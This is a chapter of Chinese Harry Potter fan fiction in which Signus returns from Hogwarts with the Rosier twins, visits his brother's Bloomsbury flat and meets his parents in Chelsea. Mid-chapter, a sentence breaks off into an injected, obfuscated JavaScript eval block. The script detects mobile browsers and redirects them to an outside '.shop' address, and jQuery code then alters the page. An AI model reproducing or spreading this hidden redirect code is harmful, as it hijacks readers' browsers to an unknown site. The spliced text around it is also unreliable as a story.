深红色的列车伴随着蒸腾的白色水汽，缓缓靠近站台，停稳。
脱下校服换上日常服装的西格纳斯，依旧稳稳地坐在座位上。他看向准备推出行李的罗齐尔兄弟，劝了一句，“别急着下车，等一会。”
面对他们的疑惑，他露出一个有点无奈的表情，“我还没上学时，曾经跟着爸爸妈妈来接过卡索放假——相信我，下车时的情况，可比你们上车时混乱多了。”
就像是印证西格纳斯的话一样，车厢走廊内与车厢外站台上的声音，嘈杂地混在了一起。
“嘿！那是我的行李！”
“……地址可别忘了，我等着你的猫头鹰。”
“蕾欧娜（Rionach）？你在哪？”
“……快来给爸爸抱抱！”
“妈妈！我好想你！”
“……乔治（Ge）！别到处乱跑！”
“小心小心！我的蟾蜍掉到地上了！”
“哦妈妈，我才是乔治，他是弗雷德（Fred）。”
“爸爸……我快喘不上气了……”
……
包厢门打开，却一步都没有踏出去的三人，听到了外面的各色声音。
洛塔尔有些感叹地看向西格纳斯，“一直都这样？”
“还好。”西格纳斯一脸“过来人”的淡定，“大家很快就会散开，只要别急着第一时间冲出去，轻易不会被卷入其中。”
待到外面逐渐恢复平静，西格纳斯听到了附近包厢的动静——鉴于斯莱特林不受欢迎的现状，他们选择的包厢几乎都在这附近。
西格纳斯拎着自己的手提箱，走出包厢门，正好碰到了一身清爽的卡尔佩妮娅·弗利女士——西格纳斯歪了歪头，果然在她身后看见了正用魔杖指挥着两份行李的卡西乌斯·博克——他显然注意到了西格纳斯的目光，眉梢轻轻挑动了一下。
西格纳斯收回视线，看向弗利女士，点头致意。
弗利女士颔首回礼，姿态从容，“宴会时见。”
“期待二位的到来。”西格纳斯微笑着回应。
西格纳斯和罗齐尔兄弟踏上站台时，人群已经散去得差不多了。
他得以看见从车厢另一端下车的哈伦，带着安东尼奥走向了一位面容尚且年轻的女巫——那自然不是特拉弗斯老夫人，西格纳斯推测她也许是哈伦的母亲。
哈伦看起来介绍了安东尼奥两句，然后爽朗的意大利少年给了女巫一个热情的拥抱。那位女士明显一愣，然后才迟疑地轻轻回拥了一下。
安东尼奥又仰起头，满面笑容地说了几句话，女士露出了带着几分矜持、几分愉悦的笑容。
西格纳斯在内心翻了个白眼。
“满嘴甜言蜜语的意大利人。”耳边传来埃里希的声音，洛塔尔也接着评价，“他们对着女士们，总有说不完的赞美词。”
“这次不说‘油嘴滑舌’了？”西格纳斯想起了他们三人第一次接触安东尼奥时的情形，调笑了一句。
“看在友谊的份上。”洛塔尔撇了撇嘴。
随着“噼啪”的一声脆响，一个挺拔高挑的黑发身影出现在站台上——修身剪裁的黑色西装，黑色的长款毛呢大衣，颈间搭着一条深蓝色的长围巾，戴着黑色的皮手套的右手握着手杖。
他墨绿色的眸子满含笑意，张开双臂看向西格纳斯，“希望我没有迟到太久，亲爱的小先生。”
“卡索！”西格纳斯将手中的提箱随手一抛，就扑向了自己的兄长，送上了一个大大的拥抱。
而那被抛开的手提箱，还没等罗齐尔兄弟反应过来，就被一个突然闪现出来的矮小身影接住了——硕大的头颅、网球一样大而圆的眼睛、球根状的长鼻子、蝙蝠样的大耳朵——那是一个典型的家养小精灵，却非常罕见地穿着一身干净整齐的侍者制服。
卡斯托轻轻拍了拍赖在自己怀里的小朋友，“好了，你不是带着朋友来了吗？不为我介绍一下？”西格纳斯这才放开了怀抱。
“埃里希·罗齐尔和洛塔尔·罗齐尔，我的室友。”西格纳斯为双方介绍着彼此，“我哥哥，卡斯托·普林斯-埃弗瑞。”然后，语气有些微妙地总结了一句，“其实你们完全不需要我介绍，不是吗？”
卡斯托轻笑一声，摘下手套，主动伸出右手，“罗齐尔先生向我说起过二位，你们是他的骄傲。”
埃里希和洛塔尔轮流上前握手，“父亲也曾来信与我们感叹，贵家族实在是再好不过的合作伙伴。”埃里希接话道。
“希望你们不介意我称呼你们的名字，”卡斯托微笑着说，“埃里希，洛塔尔。”
“当然，我们的荣幸，普林斯-埃弗瑞先生。”埃里希回应着。
发现西格纳斯也下意识地看向埃里希，卡斯托忍不住又笑了一下，“也称呼我的名字吧！毕竟之后，你们会见到更多的普林斯-埃弗瑞。”
兄弟俩显然也意识到发生了什么，同时看向了西格纳斯。被注视的西格纳斯本人撇了撇嘴——自己在学校里，可也是其他人口中的“普林斯-埃弗瑞先生”，对这个称呼有反应，多正常。
“好的，卡斯托先生。”洛塔尔笑着回应。
***
随着幻影显形落地，西格纳斯看着周围的景象，挑了挑眉，“怎么没回切尔西？”
这里是一间位于某栋老旧公寓楼内的维多利亚风格公寓，面积不大，几乎一眼就能看到全部。
不算宽敞的门厅，连着起居室。
挑高的空间露出木质的房梁，墙壁刷着奶油白色的墙漆。主要的墙面上，设置有一座非常显眼的壁炉，壁炉架上摆放着书籍和一些动物形态的小摆件，以及一个银色的、不起眼的匣子。壁炉前铺设着圆形的灰色地毯，一组成套的沙发座椅摆放在壁炉正前方，中间放着一个圆形的小茶几。
起居室的一侧隔出了一间茶水间，安装了整排的橱柜，台面却干净得好像从未被使用过。
茶水间旁边，起居室连着一条走廊，通往一个装饰简单的卧室——不是很大，比起居住，更像是用来临时小憩的地方。走廊边设有一间浴室，安装着的浴缸、抽水马桶和洗手池，但同样光洁得像是某种装饰。
整个公寓，除了干净得过分之外，明面上没有任何魔法的气息——甚至连一个无痕伸展咒都没有。
“费法斯（Fairfax）男爵夫妇带着独子到访，爸爸妈妈在接待他们。”卡斯托回答着西格纳斯的问题，“现在不方便直接回去，那正好带着埃里希和洛塔尔来这边认一下壁炉的位置。”
他说着，挥动手杖点了一下壁炉，壁炉中立刻腾起了火焰。他又点了点壁炉架上摆放的银色匣子，匣子跳动了一下，彰显了自己的存在感。
“飞路粉就在这个匣子里。”卡斯托看向罗齐尔兄弟，“这是我家唯一一个链接飞路网的壁炉。如果你们需要往返罗齐尔庄园，或者前往魔法部，可以让小精灵带你们来这个公寓。”
兄弟俩闻言点点头。但西格纳斯依照自己这一个学期以来对他们的了解，确信这两兄弟此刻心中一定堆满了问题。
“西尔（Sil）。”卡斯托叫了一个名字，下一秒，一个同样衣着整齐的小精灵出现在房间里，他的手掌搭在罗齐尔兄弟的行李上，身上笔挺的制服，没有一个多余的褶子。
“主人。”小精灵松开行李，在距离卡斯托一步远的位置，微微鞠躬行了个礼，然后挺直腰板，大眼睛满怀热切地看向卡斯托，“主人希望西尔做什么？”
“回常青藤庄园，调两名小精灵到切尔西别墅，在这段时间，负责照顾我们的两位小客人。”卡斯托说着。
在他们说话期间，之前接过西格纳斯的手提箱的小精灵，也鬼鬼祟祟地挪动着脚步，一点点地蹭到了西格纳斯的视野内。
西格纳斯注意到这点，眉毛一挑。一直关注着他表情的小精灵，立刻单手提着箱子，精神地站直身体。
“莱克斯（Lex）。”
“是的，主人！”小精灵立刻应声，“莱克斯听候您的吩咐！”
“把我的行李，”西格纳斯指了指自己的手提箱，又指了指行李堆上，装有罗齐尔兄弟随身生活用品的提箱，“和他们的手提行李，悄悄送到切尔西别墅，别让麻瓜们注意到。”
名为莱克斯的小精灵飞快点头。
“他们俩的行李……就先放到我房间附近的客房里。”西格纳斯继续说，“然后你去看看那个费法斯男爵一家什么时候离开——等他们走了，就来告诉我。”
“好的，主人，莱克斯这就去！”小精灵伸出细长的手指，勾住了罗齐尔兄弟的手提行李，然后“啪”的一声，就带着行李从房间中消失了。
随着小精灵的接连离开，卡斯托示意罗齐尔兄弟一起在起居室的沙发处落座。熊熊燃烧的壁炉火焰，让整个房间都暖烘烘的。
“有什么问题就问吧！”西格纳斯窝在沙发椅上，对罗齐尔兄弟说着，“我知道你们肯定有很多想问的。”卡斯托微笑，并没有拒绝西格纳斯的提议。
罗齐尔兄弟对视一眼后，看向眼前这对普林斯兄弟。埃里希首先开口：“问题的确很多，但一时反而不知道该先问哪个了。”
“那我先猜一个。”西格纳斯说，“你们肯定疑惑，‘这是哪里’以及‘为什么是这里’吧？”
“这的确是我们想问的问题之一。”
“这里位于伦敦的布卢姆茨伯里区（Bloomsbury），在大罗素街附近。旁边大约200多码的距离，就是麻瓜们的大英博物馆。”西格纳斯嘴角勾着笑容，看着双胞胎茫然的神色——两位“外国人”还没搞清楚伦敦的地图呢！
“但是对于巫师们来说，”他终于打算说点罗齐尔兄弟能听懂的了，“这里距离国王十字车站，不超过1英里；距离对角巷，大概1.5英里；距离英国魔法部，差不多是1.8英里的距离。”
罗齐尔兄弟露出了思索的表情。
“即使不用飞路网，你们也能迅速地前往英国魔法界的核心。而英国魔法界的动向，站在这里就能观察到。”埃里希感叹，“并且，没有任何一位巫师，会在意这样一间‘麻瓜公寓’。”
公寓的窗外，一只灰林鸮滑过黄昏的天空。
那灰色的翼展，完美地融入了麻瓜们构筑的水泥丛林之中。它无声地从人们头顶掠过，没有引起任何人的注意。
“说起来，你们家似乎和麻瓜的贵族阶级，也有不少的接触？”洛塔尔问了一个新的问题——那位麻瓜贵族费法斯男爵，正是几人目前不得不等在这间公寓的原因。
西格纳斯收回看向窗外的视线，看向洛塔尔，“我之前曾经说过，为了躲避神秘人，我们在麻瓜界用的是‘埃弗瑞’这个姓氏。”他露出了有些微妙的笑容，“有麻瓜在场时，我爸爸就是‘埃弗瑞先生’——伦敦知名的健康顾问和药理学家；而我妈妈，则是深受伦敦贵族夫人们信赖的高级药剂师。”
“哇哦！”洛塔尔挑了挑眉，“这还真是再适合不过的麻瓜职业了。”
西格纳斯有些得意的小声哼哼了两声，然后又看向自己的哥哥，“卡索，那个费法斯男爵到底怎么回事，太阳都快落下去了，现在还不离开？”他让莱克斯等费法斯一家离开就来报信，结果都等到现在了。
正津津有味地看着弟弟和他的朋友们交换信息的卡斯托，闻言无奈地摊开手掌，“男爵夫妇对小费法斯先生的期望太高，可怜的小先生有些焦虑症——男爵夫妇恨不得让爸爸妈妈立刻治好他，但你也知道，咱们又不能真的把魔药喂给他。”
“我出门时，妈妈正在安抚哭哭啼啼的男爵夫人和坐立不安的小费法斯先生。”他说着，“而爸爸，还在被迫倾听费法斯先生讲述他祖上‘资助’女王的辉煌过往，以及小费法斯先生入学拉格比公学的光辉事迹。”
西格纳斯翻了个白眼，“他要是有其他东西可以吹嘘，小费法斯先生大概也不会需要咱们的治疗了。”
然后，他又露出了有些恶趣味的表情，“不过，如果男爵先生知道，哥哥你是带着A-Level证书从温彻斯特公学毕业的，大概就再也不会想来咱们家炫耀了！”
罗齐尔兄弟闻言，震惊地看向卡斯托。
他们都听说过，卡斯托今年夏天才从霍格沃兹毕业，没想到还同时拿到了麻瓜学校的学业证明——这怎么可能做得到？！
“温彻斯特公学？跟伊顿公学一样，很有名的那个？”洛塔尔忍不住想要确认一下——那可是在魔法界都大名鼎鼎的麻瓜学校。
卡斯托轻咳了一声，向罗齐尔兄弟解释起来：“主要是利用了家养小精灵的魔法能力。”他微笑着解释，“无论是伪装成在麻瓜学校全日制寄宿，还是学习相关课程并完成作业——小精灵的混淆咒都相当好用。”
“因为身在霍格沃兹，所以我的麻瓜课程主要是通过函授完成的——在混淆咒的帮助下，没人觉得有问题。”他笑了一下，说着，“非常必要的时候，我也会向斯拉格霍恩教授——当时他是斯莱特林的院长——请假，回来参加一下公学里必须本人出席的重要活动，比如考试。”他顿了一下，补充道，“当年的魔法界相当混乱，很多事情都有极大的操作空间。”
他又看向西格纳斯，“但以后应该就不能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16799809|179996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样操作了——毕竟魔法界的秩序已经基本稳定，《保密法》运作下，不可能同意再让我们随意对麻瓜们施咒。”
“而且，斯内普教授与斯拉格霍恩教授的行事风格差别很大——想必，不会同意你请假的。”
看着西格纳斯有些不爽的表情，他又笑着开导，“不过，西敏公学总比温彻斯特好些，起码不必伪装成全日制。”
“西格纳斯也需要兼顾麻瓜学校的学业？”罗齐尔兄弟相当惊讶。
卡斯托点点头，“那是他自己做出的决定。”
感受到兄弟俩诧异的视线，西格纳斯眼神游移了一下，然后又理直气壮地回应：“西敏公学的注册是在去霍格沃兹之前，我当时又不知道霍格沃兹适不适合我。要是那里不好的话，总不能也荒废了麻瓜这边的学业吧！”
“嗯嗯，我知道。”卡斯托含笑，“现在看来，我们的小少爷对霍格沃兹还算满意？”
西格纳斯在沙发座椅上不自在地扭动了一下，最后矜持地点了点头，“还不错。”
这时，房间里又一次爆出“噼啪”声，名为莱克斯的家养小精灵再一次闪现在房间中。
莱克斯先后向看过来的卡斯托和罗齐尔兄弟行礼，然后小跑了两步，来到西格纳斯的座椅旁边，“主人，那三个麻瓜已经离开了。”
***
再一次幻影显形后，出现在面前的，是与布卢姆茨伯里区公寓的简洁风格完全不同的房间——
有着精致石膏檐口的高挑天花板上，垂下了乔治亚风格的枝形吊灯，墙顶的装饰线脚下则悬挂着漂亮的风景画作；黄昏的夕阳透过高大的吊窗洒进室内，在浅薄荷绿仿丝绸纹理印花墙纸和乔治亚或维多利亚风格的实木家具上，覆上了一层温暖的橘色；吊窗两侧墨绿色的天鹅绒帷幔后，露出白色的蕾丝纱帘，从天花板一直垂到黄褐色、泛着橄榄绿色的拼花橡木地板上。
房间正中墙面上的大理石壁炉中，并没有燃烧着的木柴或煤块，反而是改装成了如今麻瓜世界中才会看到的电热炉心。
壁炉旁边矗立着一株云杉，让整个房间多了一份圣诞节的氛围。
壁炉前的橡木地板上，铺设着浅灰绿色的地毯；摆放着浅绿色常青藤刺绣靠垫的长椅，有着银色的雕花扶手，座位表面则是墨绿色的天鹅绒材质，看上去舒适又奢华——抛去精致华丽的装饰风格不谈，家具的摆放习惯，其实与公寓那边如出一辙。
一对男女正站在起居室，男士满脸笑容，衬衫外面套着米色的羊绒V领毛衣，下身穿着灰色的精纺羊毛西裤；女士则妆容完美，一身剪裁得体的黑色混纺材质连衣裙，珍珠项链和耳饰让她显得格外优雅——看上去就像两个再常见不过的中上阶层的麻瓜夫妇。
但麻瓜看到突然幻影显形出来的巫师，可不会这么淡定。
“欢迎回家，我的孩子们。”男士走上前拍了拍卡斯托的肩膀，然后转身抱起西格纳斯——11岁男孩子的体重，并没有对他造成任何压力——转了个圈，“你不知道，我多想把那位费法斯男爵快点赶回去，好让我们的小鸟尽早回家。”
“爸爸！快放我下来！”西格纳斯挣扎着——他并不想在罗齐尔兄弟面前，被这样像小孩子一样抱起来。
卡斯托用一声轻咳掩饰了笑声，他转头看向罗齐尔兄弟，说着：“不好意思，一个学期没见，我们的父亲太过于激动了。”
双胞胎看起来完全不介意，或者说他们很感兴趣——毕竟西格纳斯在学校里，可不会表现出这么符合年龄的状态。
女士眼见自己的丈夫明显还想要再闹腾一会，就先一步走向两位罗齐尔，“欢迎两位的到来，西格纳斯在信中经常提到你们。”她的声音轻缓而温柔，带着几分笑意，“我是他们的母亲，奥琳·普林斯-埃弗瑞（Orine Prince-Everay）。”
罗齐尔兄弟俩看了一眼卡斯托，随后一起微微鞠躬行礼，“这段时间就打扰您了，奥琳夫人。”
“这里虽然不是家族庄园，但也是我们在伦敦的主要居所。有什么需要的话，就直接跟我们说。”
“好的，夫人。”
她回头叫停了身后的父子对决，“好了亲爱的，别闹西格尼了。”
西格纳斯双脚终于重新落地，他气鼓鼓地整理着自己被弄乱的服装和发型，不想搭理破坏自己形象的父亲。
男士笑着拍了拍赌气的小儿子的头顶，无视西格纳斯皱起的五官，走到自己妻子身边。
“你们好，两位小罗齐尔先生。”他笑声爽朗，带着一股自由的味道，“我是阿卡尼乌斯·普林斯-埃弗瑞，他们俩的父亲。”
“我已经是前代家主了，所以如果你们有什么事情，都可以找卡索解决。”他指了指自己的长子，又指了指西格纳斯，“当然，找西格尼也一样。”
听到这话，卡斯托可有不同意见，“爸爸，正经些，您还没有正式卸任呢！”
“我不介意现在就卸任。”阿卡尼乌斯立刻接话。
“不。”卡斯托一瞬间眼神犀利，“你介意。”
没等“前代家主”做出什么回应，已经重新整理好形象的西格纳斯也走了过来。他没好气地瞥了一眼兴致勃勃看戏的罗齐尔兄弟，转头看向自己的父亲，“我已经让莱克斯收缴了你的私房钱，”他仰起下巴，眼神睥睨，“作为损坏我的形象赔偿。”
“等您再次攒够加隆的时候，再考虑卸任的事情吧！”卡斯托配合良好地接上了西格纳斯的话。
老父亲的表情瞬间垮了下来，“维吉尔（Vigil）！维吉尔你快来！”他呼喊着。
又一个穿着制服的小精灵，急急忙忙地从右手侧的房间里跑了出来，“主人，主人！维吉尔在！”
阿卡尼乌斯看向小精灵，“我好不容易存下的……真的？”
小精灵可疑的沉默了。
高大的男人呜咽了一声，一把抱住奥琳女士，把脸埋在了她的肩膀上。
奥琳女士右手艰难地拍了拍男人的背，侧头看向罗齐尔兄弟，微笑着说，“不好意思，他下午接待客人有些累了，我先带他回去休息。”她一本正经胡说八道的样子，自然得就像男人的沮丧与私房钱不翼而飞毫无关系似的。
奥琳女士左手抚摸着西格纳斯的头发，看向站在一旁的卡斯托，“那么，这里就交给你们了。”
在两个儿子认真点头后，女士就在小精灵维吉尔的帮助下，推着男人一起走上了房间另一侧的旋转楼梯。
目送父母离开，西格纳斯松了口气，一转头，却又对上了罗齐尔双胞胎的视线——
“你家可真有意思。”